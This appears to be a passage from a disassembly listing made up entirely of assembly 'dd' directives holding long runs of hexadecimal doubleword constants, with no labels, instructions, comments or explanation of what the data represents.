		dd 5657321h, 0AC3158A9h, 0CB836905h, 84ADCCh, 0A521F89Eh
		dd 1236C386h, 0BC843129h, 8C47F810h, 0DD5D3A00h, 37871AE9h
		dd 0CCD1971Dh, 61FA700h, 98803E62h, 16AA2010h, 0EC724E2Ch
		dd 51928429h, 0B860B8B6h, 0F197E488h, 78E3C94Fh, 2830DAB2h
		dd 0BF52766Dh, 72587C01h, 0B8357F16h, 9445010h,	77A7E408h
		dd 4873DC8Bh, 53F6778h,	9FDC01Fh, 4404BA52h, 0BB21393Eh
		dd 127C00D5h, 0B84897E6h, 76C4A50Bh, 8CAA9934h,	29405A54h
		dd 367B2587h, 458A6C90h, 0F1282000h, 0DCD6F4C0h, 2F6B00BEh
		dd 0D75E0E1Bh, 350F78F2h, 0D8CFA65Ch, 18453170h, 0F963AFD8h
		dd 0A688ED7Ch, 27900017h, 57F63B9Bh, 9D1AB61Dh,	5438E1EBh
		dd 75B302FCh, 0B2556BD6h, 87DC2E34h, 0C4842F7Fh, 0F858F0ACh
		dd 5136F1C0h, 0A3005881h, 37AB9EB1h, 61ED1EFh, 61F2D201h
		dd 3300D130h, 0FABC9FAAh
		dd 260DFADh, 966ED9C5h,	0A5F79832h, 78E9CE0Ch, 0A49EB00h
		dd 0BA7B0810h, 0F274013h, 34EAF404h, 28440C0Bh,	0B0799C3Bh
		dd 0AE5C1813h, 0D9EE648Fh, 4EC4D870h, 4A76727h,	49AB6F90h
		dd 24720B24h, 0E8011F45h, 7E010CAEh, 9FC18079h,	0E25A6EE3h
		dd 38B09F0Dh, 0B90082A1h, 98662E96h, 2EE61h, 99271D38h
		dd 67510939h, 0E40C864Eh, 12C91C4h, 0F91E90B1h,	57B5B7AFh
		dd 4D16F080h, 1D12A8B2h, 25BF9C88h, 35C81ECh, 1C7C03DDh
		dd 0CB711579h, 80677268h, 67604664h, 0F000C64Ah, 80175B3Fh
		dd 91953473h, 2A0D0250h, 0B9010C66h, 5C630597h,	0ECFB5827h
		dd 901C858h, 586AF59Dh,	0E80F1044h, 80E497AFh, 74931843h
		dd 0D42A4CE6h, 911A2213h, 0ED231Ch, 0C2DE06ACh,	411E5AA1h
		dd 0C273AF01h, 803CDB2Fh, 0AA346B95h, 0F2BC00BEh, 4D8C64FAh
		dd 0B3FA0F69h, 3A1DFFE8h, 0F0F25720h, 4B4CD245h, 0BF88F0B9h
		dd 74A2065Ah, 94303CF2h, 0C4AB4A9Ch, 688EBFECh,	0B9C0D2C8h
		dd 0B5A03404h, 8669491h, 4189F831h, 8E1F7D2h, 8879D8D3h
		dd 0C46ECE25h, 0C3D0A120h, 0C8F0DA3Fh, 87CFC40Eh, 4073F014h
		dd 0BA09A617h, 0FEBCC5A7h, 534F5EF4h, 0D000E0E2h, 0AF34BFF8h
		dd 98241033h, 45824059h, 7853B5BEh, 0C19F2504h,	5F11EC65h
		dd 0E5B03109h, 284CD8C0h, 7E58E390h, 80DB9208h,	195BC8Ah
		dd 518DB2A4h, 0E4CC3F53h, 28A05833h, 0A28F380h,	0ED9DC572h
		dd 0E53DC064h, 6D7B85D1h, 143CC64Dh, 8B909733h,	25205EF5h
		dd 4810F847h, 0A18C0BFCh, 282BD73Ch, 1843EFF0h,	2B3048E2h
		dd 3CE0B08Fh, 4B2E17DFh, 23D409A8h, 0F7529856h,	0AFB78021h
		dd 46D864C1h, 775EBDF2h, 813CF402h, 4B4DC8Ah, 0C74BB701h
		dd 123A7408h, 2F5E84A0h, 8C808F9Eh, 0FEE4CB94h,	0DDED1201h
		dd 56A21F9h, 8838CF3Eh,	0F738E1D0h, 14E22B6Ch, 6C79D1Eh
		dd 0C9EF544h, 8BF8083Ch, 0F3B8A681h, 18DA51F4h,	4C464020h
		dd 0DB6AF362h, 40B55544h, 0D0830B91h, 0B4B2331Eh, 0A6072CFAh
		dd 7D5357C0h, 7DAA81BCh, 9FDC0072h, 0CC075671h,	0CF0006F4h
		dd 1393A086h, 0FA41120h, 3C0D62A8h, 528F6EE0h, 0D82E1AC5h
		dd 89C1F8B5h, 7C708588h, 584140F6h, 0B466B7h, 5E7E5A4Ch
		dd 8F7398E7h, 75CE3C1Fh, 7D454D44h, 46B070FEh, 9B6F3414h
		dd 5C1E8161h, 0A1F7F3DCh, 0F1899DEAh, 0B411E69Eh, 0B82F2E0Fh
		dd 1133E23h, 2D280F8h, 0F2FCCD24h, 13546657h, 0FDBA3D87h
		dd 20E0D3FCh, 4A19C2C7h, 20EA2366h, 0BD55EF09h,	48060030h
		dd 4C90A2D3h, 9DE801ECh, 9BD84495h, 3027824h, 4D87345Ch
		dd 6C5324h, 0A7D9A02Fh,	1E994903h, 1EC86825h, 459E57Fh
		dd 70707BAFh, 0D49031FAh, 53134F2Dh, 0A60CBE74h, 691911E3h
		dd 7C3DA225h, 0D346768Ch, 0A350C331h, 0EC9C01F9h, 2A589D6Ah
		dd 823082Bh, 84374D0Bh,	0CD4043BCh, 0E4FD9395h,	77F95600h
		dd 0F3B034B7h, 0EAA30117h, 0A1AE4D2Ch, 45C060A6h, 0DDA40100h
		dd 0E39E5C0Ah, 0F488C112h, 7C2F216Ch, 8C0CBC90h, 4629A800h
		dd 15EC8DF1h, 9E342707h, 9A838468h, 3781381Ch, 0B3686158h
		dd 6A22290Eh, 0A3D804A4h, 3485AA4Dh, 46F8D0ECh,	3A10008Ch
		dd 0CD6257B7h, 594AD980h, 0DC4882h, 0F2F7694Eh,	6483404Fh
		dd 14883965h, 0B2660693h, 3311F2C0h, 0E9D55BE0h, 0AB255904h
		dd 88ABB040h, 0BA7C4CACh, 0E2415801h, 5ABDCE63h, 3EFCB52Ah
		dd 0E1C0ECDBh, 0A830393Ch, 0F4D9BD01h, 66F2FB9Dh, 0C23DF43Dh
		dd 44D9D50h, 3465C3B3h,	3027EA24h, 607EB900h, 0CF8412EEh
		dd 3474AC1Dh, 0C407B16Eh, 8BDC521h, 8B0D208Dh, 72298850h
		dd 3120A8E3h, 0AA280E36h, 18800510h, 9D431E52h,	2ECD1C39h
		dd 2F18184Fh, 4637E007h, 5B60370h, 6AC51D8h, 0AC04F959h
		dd 9E79045Eh, 12187281h, 0ADD358B2h, 3B01B8D4h,	0DA18A931h
		dd 674E191Ch, 160DE200h, 945EA584h, 0B9CB04A7h,	0AA0C2C6Eh
		dd 88276028h, 801364FBh, 0BC8203EAh, 0D3FE093Fh, 6EFE2035h
		dd 0DF007194h, 5FE5DCB8h, 1F91DD2h, 36B7160Ah, 2A23E604h
		dd 322134CBh, 0F5C51D60h, 154120E3h, 102445B5h,	82CCB1F9h
		dd 211A299Ah, 3D8A1803h, 34A0495Ah, 0DC1097AFh,	0F3245CE6h
		dd 465E7CFEh, 8402760Dh, 7CEBAF14h, 7650E4D6h, 0FF37008Fh
		dd 0EF6312F7h, 6902F6ABh, 0F4E683B5h, 0BB46145h, 7CFB00FEh
		dd 22F848C2h, 8C7195h, 2628009h, 0B100C3C6h, 0BA8F2BEDh
		dd 1B598DDh, 0A84D9465h, 2B87C2C5h, 0E4045CB3h,	34149833h
		dd 4DC6ABBh, 1A4AF595h,	0AF1C09BEh, 71592014h, 8F8D4h
		dd 0ABE9EAD3h, 0CE65E320h, 0A619D09h, 83D45344h, 3C92699Ch
		dd 70301827h, 31F22058h, 6F219098h, 0F0EF2FD9h,	0BABF20C3h
		dd 3C64E07Eh, 0E1AB1E46h, 8EE55331h, 0C23D88ECh, 755692h
		dd 4BC9BD08h, 0CE05025Ch, 0E3B22815h, 7182C58Fh, 5C9D3779h
		dd 7580CB91h, 8DF2D58Fh, 2BD98409h, 94B081B0h, 77068C7h
		dd 7E520BC2h, 98FE0F08h, 0A8E24EDEh, 59722D46h,	8DCACD0h
		dd 0B7090A42h, 60805651h, 0B871B031h, 5C9C2687h, 9E0F4546h
		dd 0E4209F27h, 7B770238h, 811BE309h, 7C782B62h,	583769CCh
		dd 83C0389Fh, 0A2FBAC56h, 14885898h, 1B6A2A0Ch,	4D34AFE1h
		dd 0F8ACD0BDh, 1A792404h, 6857EF15h, 0BA6DE830h, 670538C4h
		dd 745B1D25h, 48B5A7h, 54343372h, 47015D50h, 9FBA9D5Bh
		dd 9086BBC9h, 313265F3h, 88CD2AE5h, 81B0DB2Bh, 7870946Eh
		dd 0FD59D2FBh, 0C59290B7h, 21932C02h, 0F046756Dh, 0CEDDCF25h
		dd 0A5E40B24h, 44EE0D4Fh, 5FBE5E12h, 90C68CF0h,	10B40A0h
		dd 73E0A82Ch, 0B0B61F17h, 0F98ED2F0h, 0DD0B2905h, 6BAB2F4Eh
		dd 1CD12350h, 3B9481DBh, 7947D259h, 0D8FB107Ch,	257FB44Ch
		dd 0B4593765h, 74A31345h, 6430CAE2h, 48C70061h,	0D0CF9D76h
		dd 5309438Eh, 60C6699Eh, 0B783060Ch, 0F49DB010h, 5646A900h
		dd 0C9733BDAh, 0BB993C4Fh, 0C4952880h, 0AF4CEB7Eh, 528C2709h
		dd 9C8840CEh, 3ADA2661h, 28DC52D0h, 0C2383640h,	0CC8E4B49h
		dd 81391E18h, 0A4E4CE2Eh, 40FE6982h, 91301F5Fh,	0B8B0810Bh
		dd 72CD01A2h, 60C0C86Fh, 0E80E9978h, 9D69EC67h,	0F225ED40h
		dd 1CAF539Ch, 0D32081B0h, 234C4B1Dh, 0C5E95856h, 60106414h
		dd 0FE42012h, 3F1F2BFDh, 0BC667FC4h, 2225A248h,	0FCE4B1D8h
		dd 5EC49E27h, 0C14508E8h, 75AA1F12h, 0A8D4BD80h, 0D8506C6h
		dd 8027AA52h, 3EBCEC4Ch, 0E2872D5Ch, 3C1ED5C0h,	0D2713C99h
		dd 8309BB18h, 78B861DAh, 1C539744h, 8B0358h, 27B34726h
		dd 0B1E22FFCh, 58E01700h, 0EAA66ED4h, 0F064959Fh, 72A3D802h
		dd 608357B9h, 1DC38EB4h, 6DEEEFADh, 944C2840h, 0A921A304h
		dd 9484799Bh, 1228CB4h,	97B68D83h, 641446CFh, 18411260h
		dd 0DBAC132Bh, 67D28F78h, 8BE2D995h, 1505A83h, 31EA3FB2h
		dd 6E0F1FE7h, 10C4F410h, 0FB0413FFh, 0A08D5B82h, 872DBA38h
		dd 5EBCDA71h, 0C0B89BFDh, 5CC56B0Dh, 0F21F26A6h, 0ADF36EA8h
		dd 398E8C8h, 636D6025h,	0DE985478h, 8F08B7CCh, 1117CDA1h
		dd 80D53CE0h, 9BF874B8h, 2C5A71A7h, 7CBA99h, 0F2A481B1h
		dd 0EC09F1ADh, 601EB22Ah, 4E1B43C4h, 0A37CA808h, 0E12C4D9h
		dd 0C1394220h, 383330h,	374F5DE5h, 3AA05795h, 0B8171648h
		dd 0D2B4FC4Eh, 7086EBFh, 0DD9CFA44h, 0D0F22423h, 0C33B2262h
		dd 0F3D1D950h, 207D802Dh, 0D66621B0h, 0B8852F67h, 6C753870h
		dd 0BC490A3h, 40C4FE71h
		dd 0D0E58819h, 2DFCC99Fh, 3D308115h, 0ACC86ABEh, 3A3045C0h
		dd 0D923582Fh, 34B1A001h, 0CD2AF945h, 107FCA14h, 878FE0h
		dd 39C9E156h, 0C72F1E68h, 0B216BF7Ch, 54A9886Fh, 235C3A96h
		dd 0BAE013Dh, 2B36699Ch, 74FC5013h, 72C7B4Fh, 74667E6Bh
		dd 0F9C2FE92h, 18CB7920h, 0F2A8002Ch, 0C13751D7h, 6701FC2Eh
		dd 32C33F08h, 68291FE6h, 264A0704h, 8D18F440h, 41CBD644h
		dd 24D1CA31h, 39337F80h, 120C42A9h, 47759018h, 0D5E77690h
		dd 0D031EB94h, 0CC000E4Eh, 160445E4h, 0BE5597B8h, 0F55D2400h
		dd 0F624C9F3h, 6D092881h, 44647288h, 0AFC9E52h,	18C214Dh
		dd 4A6F5C9Ch, 588C1DDAh, 15299E33h, 528599Fh, 7BF25Ch
		dd 58B0B944h, 9B4A36CBh, 0BC4458B1h, 3C0E20ADh,	4A900659h
		dd 5C1C70C0h, 0ECD00EBh, 1361B29Fh, 61EE5B5h, 7D01966Fh
		dd 14F2093Ch, 5ED0C83Bh, 4FF9E13h, 4E7E7840h, 25699DFEh
		dd 0F8D2441Ah, 76E69320h, 0B9E00996h, 0CC50918Fh, 33A76703h
		dd 0C855A2B2h, 2797FEFBh, 0CCC99634h, 0C3608846h, 799C02EEh
		dd 78E84116h, 0E540DEDAh, 6F7B0422h, 88AD9FB8h,	3B4458BCh
		dd 693C0C80h, 0C384986h, 6816A404h, 22AB210Eh, 6F2E095Ch
		dd 4211E82Ah, 7220D0ADh, 9521B018h, 0EF6DA804h,	9420FC89h
		dd 0E7DD44F5h, 269E5A88h, 218F005h, 46EE6136h, 1B257852h
		dd 6B20F411h, 0C0507C7Bh, 0D7A81201h, 0D770AC76h, 482078E8h
		dd 1D7F2E17h, 2110BCEDh, 866712CBh, 7BC2DD0Bh, 0EB187028h
		dd 0DA3DE0A0h, 48A484A4h, 449E55F0h, 75DC465Eh,	0B2915C00h
		dd 8F338A79h, 68CC48F8h, 8CFEE380h, 0BE026A87h,	9BD8983Dh
		dd 3C9E556Dh, 91DC17BDh, 0CA009CE1h, 41D0AC99h,	95730131h
		dd 0B0220759h, 45DC741Dh, 0A0BDB63Eh, 2CC4BFECh, 7094F39Fh
		dd 0F62EDF11h, 0E60860BCh, 9D093A17h, 0B87F0CFFh, 33A5DE80h
		dd 7119ED8Bh, 0C9E712E3h, 9CB757h, 45B24964h, 5908F727h
		dd 80D8CE1Ch, 4D65FFAFh, 0B103C614h, 3D546E13h,	9CBBD04Eh
		dd 0EC66394Ch, 8308260Bh, 9F54B054h, 0FEC0486Dh, 229086F7h
		dd 60B56D21h, 80DCF378h, 3E2D8196h, 44A0642Eh, 0D827465Eh
		dd 258C46B9h, 64F443C2h, 8A70E1C0h, 0A4F4ED20h,	0AE1E00F4h
		dd 1BFBBBCh, 2B03DE88h,	51B168F6h, 0B3485FADh, 31DAB28Ch
		dd 0E098405Fh, 11028918h, 0E5CEAE4Dh, 8C9A5583h, 0C0786D7Dh
		dd 4D4EAFE9h, 97E50F04h, 88FA71C6h, 0F20047C8h,	2254FE09h
		dd 396BB190h, 8A02D542h, 0CDC710FAh, 0A086A560h, 3CB2CC5Ah
		dd 4FCBD88h, 0AA46070Ah, 0A29CB8E3h, 905D294Bh,	3D8FA974h
		dd 73810ACBh, 51B0306Bh, 28C28B2h, 3757B62Ch, 0A894FFABh
		dd 4082EAF2h, 0B11E0674h, 0E0EF1E30h, 28F2F50Bh, 2CD8540Ah
		dd 0BD6908D0h, 2F866605h, 0FCE078F6h, 0BF0746F0h, 0D2E24AC6h
		dd 48FF7095h, 5CA52CA0h, 0A17E4080h, 0F0F524C0h, 5BECD809h
		dd 590E8801h, 716CBD18h, 61F345F0h, 0DDE7315Ch,	0D48D6AD1h
		dd 40912830h, 0B6F8F7CDh, 11F83759h, 7B07E894h,	199E82BBh
		dd 25D2042h, 556EC37Ch,	9640CCCFh, 331C7012h, 721918DBh
		dd 0C0E0C8FAh, 9A132082h, 44F9E4D9h, 3881617h, 5DB0740h
		dd 0EDBC3100h, 0CCB49CCBh, 3447DD6h, 2C5B6238h,	27C83FFEh
		dd 0B802FF35h, 0A5D1D5Ch, 0AF9056F4h, 0C1007CE4h, 0E45F9E56h
		dd 42A4ABEh, 327E80Dh, 9081AFAEh, 704B8B0Ch, 0DFCA0888h
		dd 0DEA67F01h, 0B32F33AFh, 613E096Ch, 8492FFA2h, 0CDBD5C70h
		dd 0E100EEE0h, 0DEE0B8D7h, 44125524h, 9C35108h,	2C4230CDh
		dd 0DCC0D6h, 28EDB1FEh,	9F3451C9h, 10F4E4BDh, 250C3A52h
		dd 26459B7h, 62B80146h,	80B0C65Fh, 9706A0A4h, 64BF6009h
		dd 0A334CB00h, 247EFA9Ah, 8CC3AB3h, 9924726h, 2C4968E3h
		dd 5838D7BCh, 0FBBFAF9Dh, 0E415A7FCh, 78801191h, 3533ABBAh
		dd 45199C01h, 3F9B954Ch, 95ED1AECh, 0FB2780F9h,	0CCDCA54Ch
		dd 5F771CD4h, 6D418252h, 18544D5Ch, 20B52F4Eh, 78C0D2DAh
		dd 809D00A6h, 66B77E09h, 0E490A9DEh, 0DB3FD002h, 77196D5Eh
		dd 0FE02BC37h, 5DEA2FD3h, 1F182410h, 25A8F300h,	0ABF4CBD8h
		dd 0ADF0761h, 702C8114h, 0AD6AAF4Dh, 93281604h,	0C4BFD25Ah
		dd 5C3AAEE0h, 1B00CC23h, 30EC570Bh, 0E91C0268h,	10322A0Eh
		dd 0E4484D55h, 0C00662DAh, 8A0CB1F8h, 8740D85Eh, 0EA95C27h
		dd 66F2D144h, 76C0DFA0h, 0AFFE8579h, 89176E03h,	3E57122h
		dd 0F40B5CB1h, 0D7E0F34Dh, 0D3B0285Fh, 0B24F14ECh, 5099E802h
		dd 79985149h, 723618D0h, 5ECECB5Dh, 0F99F3CD2h,	2E97003Ch
		dd 993F057h, 0F873E000h, 0BB4B1453h, 0E4A176Fh,	945CE021h
		dd 0BF3C09F2h, 0E09ACB2Ah, 48C011C8h, 43FD953h,	74B69773h
		dd 1420EF5Fh, 1E8142h, 4A4B85B1h, 0A39D5A6Ah, 0EAF4340Fh
		dd 578760F2h, 9CBAE83h,	5609DCA4h, 4583755h, 0AE03FC02h
		dd 7AAA1C56h, 0B7F501F8h, 64F33663h, 9190DEFEh,	0DFB90117h
		dd 4565BA23h, 8160DB2Bh, 0D2DD7AFFh, 26A8C8F4h,	16A80701h
		dd 0B4F4A84Bh, 0ACE1A0E6h, 0D4C87B3Ch, 9F160E19h, 11E00834h
		dd 77725A6Dh, 0B6C2A100h, 5CF75E99h, 95FF9063h,	0F4397065h
		dd 6EEA58D2h, 543B04h, 3828C317h, 0B2DCDD90h, 32C92058h
		dd 6725CCB4h, 22F15CF0h, 0B3830068h, 651523Bh, 42EAE9h
		dd 0BFDBCF1Ah, 6B943E26h, 465EC8BEh, 66C48D0h, 0DFCE0359h
		dd 637B0019h, 1477941Eh, 0D8275B35h, 8844D1B8h,	0C043B2Eh
		dd 0E8F9A134h, 9F2C4C04h, 4CAAAD0h, 7B308917h, 4E550114h
		dd 34675C37h, 0A40C283Ah, 11EC1F97h, 3752810Ah,	0E32F96D2h
		dd 2A6D053Ch, 0A4A413DEh, 4CE64039h, 9DE55C12h,	0B058DCE2h
		dd 175E704Ch, 96FCFC54h, 35E214A6h, 3AE19A41h, 97084CE6h
		dd 5C0BE2EDh, 1ACFA7Fh,	0DACA13F0h, 2FDC670Fh, 9E55C020h
		dd 2A4F0020h, 0A261C1Dh, 98002928h, 6468AD2h, 4E15CE84h
		dd 80E4B811h, 0ACF9D45Dh, 9B790180h, 0C0B2CE45h, 848E00D8h
		dd 15B09D2h, 0A45056A4h, 36F8D893h, 1607FF0h, 97CAF1FFh
		dd 2B7021C0h, 0BF1620E3h, 0D7A4ADD9h, 0CFC8F88Bh, 2F4FE3C0h
		dd 28803C90h, 0E4BE3909h, 74E40BD5h, 0A800F664h, 613E0D6Ch
		dd 2CA9BC4h, 0AABBC793h, 467537A2h, 599C16D4h, 5E1CC0E2h
		dd 519758ADh, 180CF168h, 3C727833h, 6E057F9Ch, 0D529524Ah
		dd 546AEAF0h, 4E01DA23h, 22AE520Dh, 0E9AF5184h,	891CBCDAh
		dd 16105E68h, 0EAF4B0C4h, 34A0185Fh, 0BC9D4134h, 2D242040h
		dd 0CCCA9AB9h, 0C024ED5Fh, 9FED86AEh, 7E199B58h, 5808E1B5h
		dd 0F038A66Ah, 2D7857Ch, 284C319Fh, 1BD5508Dh, 65AED0FCh
		dd 0E884BFE6h, 8C9EAEE2h, 0CB2D8280h, 6E1761DCh, 7414CA38h
		dd 99AE0030h, 6D150492h, 1C0E09B3h, 0D0622E81h,	64E0CD5Fh
		dd 283B610Dh, 9A1EDF4h,	35FE8123h, 9E8BE473h, 8FB003BFh
		dd 4422C4E1h, 819E7B20h, 0E81F4D62h, 3FCBD24h, 6722836Fh
		dd 51E6E103h, 5FF197BAh, 16A091A2h, 28605973h, 8C0EAC64h
		dd 0D0F61400h, 0A8D2419h, 0B4F19747h, 3BAFAD01h, 0FEE687D2h
		dd 793C6004h, 0B0C04B16h, 0D587E408h, 767096B9h, 2C01DD46h
		dd 0B40C7B1Eh, 6C684859h, 3652C30Bh, 0B4BD5F39h, 0EB8B6500h
		dd 15E528F2h, 0FCBE8195h, 99331977h, 0C77789E0h, 54E488A2h
		dd 2A626F0Ch, 2533783Eh, 0F8FEA4B2h, 30F00E2Fh,	0D8FEEB25h
		dd 79BCF952h, 4F4918DAh, 28E218h, 73CB75BFh, 2A813BB2h
		dd 1FB40CCAh, 825F7C88h
		dd 0A66F71E4h, 912017F7h, 384B9C49h, 0EB93025Ch, 8FF05E7Bh
		dd 4040AE4Ah, 0CF99BD75h, 0CA091801h, 0C6626D95h, 0AD70122Ah
		dd 0DC2ED2D0h, 1D03DD23h, 0F2E94E3Bh, 6F34C1A3h, 7E6C422Eh
		dd 805FD767h, 0EA9BEB28h, 248113C3h, 0B045AE79h, 40EBDA08h
		dd 0AA552878h, 0EA009472h, 469825F3h, 2CCF1233h, 3B6F7ABBh
		dd 58605858h, 652218E9h, 945C9897h, 0FE041EABh,	0AE5AC010h
		dd 2CB87837h, 7348FB97h, 0BFA007D0h, 0E84F951Dh, 7849B881h
		dd 206B5286h, 8B11659Ch, 33267F0Bh, 2ECC56F2h, 0DB26DCF0h
		dd 0CC3810F3h, 0CF351008h, 6CDE1627h, 72DA7C40h, 413101ADh
		dd 35A3046Ah, 5EEC680Bh, 0F500686Eh, 431C7E70h,	47873F9h
		dd 0A8013304h, 94BC1B07h, 5C59722Dh, 0DE65659Dh, 4AF702E8h
		dd 44DA0DF6h, 95D13D20h, 28B884h, 6BC09E4Ch, 945195B6h
		dd 72F4E02Fh, 20140995h, 5CF0D5B0h, 80B2235Ah, 9476AD8Bh
		dd 4A467Ch, 0E05639Ch, 0B121D9C4h, 39003EF8h, 0F31F3FCBh
		dd 7400DE88h, 48FF2F58h, 9017594Ch, 14E6208Ch, 0F4C9335Fh
		dd 40FE4AE0h, 0FB728203h, 7017C825h, 4B90FC18h,	0B90884B9h
		dd 0CE6D638h, 2AD5ECA0h, 0BF00E8F4h, 0EA1ACDE4h, 5DC7DB1h
		dd 0B7CCF8C6h, 588BAA34h, 41A0B800h, 79B372ECh,	88824A5Ah
		dd 204ED511h, 80437E4Eh, 9178BFABh, 0FFF3631Dh,	0D51684B2h
		dd 178A0C10h, 560E3074h, 60FD6F50h, 41589323h, 80E41C55h
		dd 306C85BAh, 0E314C19Dh, 8E8C410Eh, 48CA6AECh,	0A018B65Fh
		dd 258FB828h, 1090E1D5h, 0C25A6CF8h, 3EF274B3h,	8C2B6D31h
		dd 937283A8h, 0FDFC6709h, 5ED0FEE3h, 1F020C46h,	0B22812C8h
		dd 9A606055h, 0A7E3800Bh, 0D1CD592Dh, 18D9D9F8h, 5D4E0B18h
		dd 945671EAh, 0BC545564h, 76780122h, 799C5205h,	0ACB40F82h
		dd 0F7CB0EF4h, 0E05287B9h, 0F678CA3Ch, 60619725h, 17060258h
		dd 0C02A9634h, 0A1A06550h, 2F26F1FBh, 0C07F4F0h, 5A599E53h
		dd 0B744D881h, 0CDF42532h, 0D3D38C8h, 0E967E300h, 4ADA0EFEh
		dd 351C04B9h, 0C04C1EA2h, 2F3CFBC0h, 6E804091h,	25C357A6h
		dd 18E89568h, 8098061Eh, 0D6D1052Dh, 7474C980h,	8F5E9F4Fh
		dd 0B81EB780h, 126905D0h, 0ACFB018Bh, 0CEF21F4Ch, 0D62D5C5Dh
		dd 0A0F12F6Ch, 0DA6D4B07h, 9401C4DAh, 85BAFAD7h, 61D9B0F0h
		dd 9F0F70DFh, 0EAAFF84Dh, 959DAA06h, 7779DA6Fh,	0C39B0232h
		dd 0CFE197B7h, 801D8E4h, 0BDBECE8Eh, 302F0A83h,	0CB498760h
		dd 107C5C86h, 0EE070280h, 0FD0792B2h, 42774AE5h, 0FCCEC300h
		dd 21700247h, 0FF19BD26h, 0B11745Eh, 0EA4A6F0Bh, 0FB20225Fh
		dd 0CB2207E5h, 9B0050D9h, 0BE5C464Eh, 90F66023h, 0CD9765F5h
		dd 0E2203CB8h, 52060338h, 361A719Eh, 10071002h,	75BE0990h
		dd 185ADC22h, 599C5100h, 284A6912h, 0FC040B55h,	8FB96078h
		dd 0E9C5D975h, 90E07642h, 599B09E4h, 687A3CAAh,	6682DEF6h
		dd 0D7AC01A0h, 636A8194h, 0DC982B68h, 13052CE2h, 49B99230h
		dd 9CFE5058h, 0D8B1FDEh, 0CCCE814Dh, 9F1A819Dh,	0B7975C99h
		dd 34AB18C4h, 0E08CB6A8h, 0D8AC2Bh, 0B801FC53h,	3AAB7D6Eh
		dd 9ACBD9Fh, 88743140h,	0A8946563h, 95F14738h, 4C79E8C2h
		dd 1418CB79h, 46976103h, 0EA9349E9h, 0ABDCE138h, 71C00B3Ah
		dd 0E5C068EDh, 581FDBBEh, 0C80FBD38h, 92BD9Dh, 3308D3A8h
		dd 31C37DD2h, 0CAC5B4E6h, 20E872EFh, 0C2F1165Eh, 3CB77Dh
		dd 8DA1A7E4h, 7E09A95Ah, 0D1C0C998h, 2013EF00h,	0FDFFD72Ch
		dd 4388C900h, 2F51C794h, 80A0DADh, 2E609D36h, 0ADF000A6h
		dd 0D2097D30h, 25DF819h, 5E109380h, 807CE9DCh, 0D25A6F02h
		dd 76547E33h, 704946h, 410C0696h, 16693B93h, 6E986492h
		dd 2CF29A4Ah, 5337A8B0h, 7C89BC27h, 0AC444094h,	5B8E0BFh
		dd 53C2A52Fh, 3E0C71C0h, 0B8928CA2h, 1454A748h,	613C7F02h
		dd 896387Ch, 0FC0574ECh, 0AAE6AD70h, 9EC034DEh,	27C40947h
		dd 16288F00h, 22A6EFDh,	40589408h, 34B3B65Ah, 90B9BC4Eh
		dd 781313BCh, 9C023146h, 63A5679h, 86273706h, 0D618FC59h
		dd 3D07957Bh, 56F13A5Bh, 0C4EEDCD4h, 58CABF1Ch,	0CCC2C225h
		dd 64375Fh, 82342526h, 370062FAh, 51B201C9h, 4A7FF99h
		dd 45DDEDCAh, 0C9CAB96h, 6DE34038h, 3A11E5E7h, 3B8474A3h
		dd 819C01EAh, 59121206h, 0D6A8F6h, 979413EFh, 3BDF5581h
		dd 8320B090h, 0EC0897D6h, 47465C2Ch, 546D8500h,	0C1B38D40h
		dd 88947EEEh, 38885180h, 0B4944Eh, 994F531Dh, 9C399A1Fh
		dd 78ABED04h, 84EA042Fh, 0B858A99Ch, 0A0C2B7B1h, 0E848A2D5h
		dd 9D9F02E4h, 0DBC4BA55h, 0D8B651C8h, 3327B13Fh, 18E02B98h
		dd 90886FE0h, 9B37008Dh, 6E66C787h, 0F5267CC6h,	8938781Dh
		dd 5ECEE939h, 9C5EE9A8h, 89B917D4h, 6B5400B8h, 94341756h
		dd 4691F060h, 24667A2Ch, 2C8FCA7h, 0FEC306A3h, 0BADCB557h
		dd 8C8F117h, 0D18020E0h, 301B9D61h, 7F492495h, 71670DA8h
		dd 0B8A079C8h, 9DBEA6Bh, 0D9D3FDA0h, 5403D85Ah,	576DCDCAh
		dd 7DC1E0C6h, 0D55D0029h, 0CEB6606Fh, 0DC95BD89h, 0AE611294h
		dd 3FFE790h, 1C66E01Fh,	0D250F88Bh, 0E587AEF9h,	0E535273h
		dd 310F5B12h, 6303B7E7h, 34DE585Ah, 1C88BB0Dh, 0BFE03189h
		dd 0BF6C7F34h, 0B90006D9h, 3D92C5BCh, 0FB870883h, 1D095DE0h
		dd 2D6D7509h, 97FACFE0h, 84126022h, 8589778Bh, 2EB5B006h
		dd 300E6006h, 8BEF0B3Dh, 76109BDh, 1ACE90Eh, 0B70F4A87h
		dd 0A885E3FAh, 0C836396Fh, 34C71C24h, 31F6EA74h, 0A9896AF0h
		dd 0AC5029B0h, 0D70781E6h, 0B58B2D4Bh, 0C6F8739Ch, 7416C580h
		dd 1735A8C4h, 0B504890Ch, 1D0D9933h, 41EBA85h, 67B4BA31h
		dd 4462B89h, 0AC9C78A3h, 322A2003h, 40068C0Fh, 0CC25831Dh
		dd 194566Bh, 7E5F0C40h,	34AD3529h, 0DE16070Eh, 0EE247589h
		dd 21F4EC8h, 116E939Dh,	40F76856h, 2BDBB45h, 5B122004h
		dd 795F8583h, 0FF943C11h, 0B784C1B5h, 4B4E8B6Eh, 0CC8549BEh
		dd 5BB79D80h, 0C8FD65B6h, 7102557Eh, 3EF15188h,	775255D1h
		dd 0F956B002h, 425FB730h, 1D718F65h, 0EF4E6FA4h, 601F3CFBh
		dd 0F7A075A5h, 0D70FB1CBh, 22008675h, 0D12C9C3Eh, 1A93DA7Fh
		dd 0F65A05FDh, 145EDA55h, 0EF5822B3h, 0C527F704h, 0BF44988Dh
		dd 0AB70C214h, 2D9509C5h, 9049241Ch, 5825B4AAh,	0F2405E60h
		dd 0D1809Ch, 0E34C526Bh, 5035616Eh, 802B7495h, 2D04A8C9h
		dd 1725730Fh, 0D4A05514h, 37CAF5E2h, 45215900h,	6E5092BFh
		dd 5F5B7125h, 0B883F990h, 2ED200F7h, 8B5E776Ah,	0BB144DFDh
		dd 95DD850Fh, 0EF8180E3h, 27D2A6ACh, 0A05D6130h, 0FC69528Fh
		dd 3CD63D7Ch, 844FC084h, 0E574C164h, 4A3AA02Bh,	0D661FE95h
		dd 0D4F9F205h, 0BA25BD83h, 0BA84EC0Eh, 8DBB0227h, 3EE9031Ah
		dd 6BEA6D4Bh, 89CA3883h, 0B8FA96h, 3050DE25h, 734D900Ch
		dd 0C1010F44h, 0E5910E8h, 0F84CC102h, 0F0BD5803h, 0E7750D82h
